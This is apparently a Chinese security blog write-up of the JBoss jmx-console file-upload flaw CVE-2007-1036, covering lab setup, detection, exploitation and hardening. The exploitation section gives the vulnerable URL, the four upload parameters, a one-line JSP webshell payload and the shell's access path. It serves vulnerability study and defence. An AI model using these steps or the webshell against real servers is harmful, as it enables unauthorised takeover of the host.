JBoss后台文件上传漏洞 - CVE-2007-1036
JBoss简介
Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:8080
下载地址:https://jbossas.jboss.org/downloads/
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor
路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()
方法,通过向四个参数传入信息,达到上传shell的目的,其中arg0传入的是部署的war包名字,arg1传入的是上传的文件的文件名,arg2传入的是上传文件的文件格式,arg3传入的是上传文件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。
影响版本
JBoss应用服务器:
全版本
环境复现
java环境:JDK 8以下
在官网下载相应的JBoss版本
配置环境变量
1 | JBOSS_HOME |
1 | PATH |
外网访问
1 | JBoss6: \server\default\deploy\jbossweb.sar\server.xml |
启动
1 | JBoss\bin\run.bat |
漏洞利用
JBoss漏洞检测
- JBoss漏洞检测工具下载
https://github.com/fupinglee/JavaTools/tree/master/JBoss
- 先探测是否具有JBoss服务
1 | app="jboss" |
根据HTTP头部
1 | # http头部显示jboss服务和版本信息 |
访问如下URL
1 | http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository |
在P1输入上传的war包,如shell.war
在P2输入上传的文件名,如shell
在P3输入上传的文件格式,如.jsp
在P4输入上传的文件内容,如一句话<%eval request("admin")%>
最后点击Invoke
上传
上传的路径为JBos/server/default/deploy/management/shell.war/shell.jsp
访问以下URL链接shell
http://127.0.0.1:8080/shell/shell.jsp
防御措施
- 将JBoss后台添加权限,控制访问者对敏感路径访问
1 | jboss\server\default\deploy\jmx-console.war\WEB-INF\jboss-web.xml |
1 | jboss\server\default\deploy\jmx-console.war\WEB-INF\web.xml |
1 | # 这里修改账号密码 |
- 更新到 JBoss 5.1.0 或者6.0.0以上
- 若不使用控制平台管理,删除
jmx-console.war
和web-console.war
,在以下路径
1 | jboss\server\all\deploy\jmx-console.war |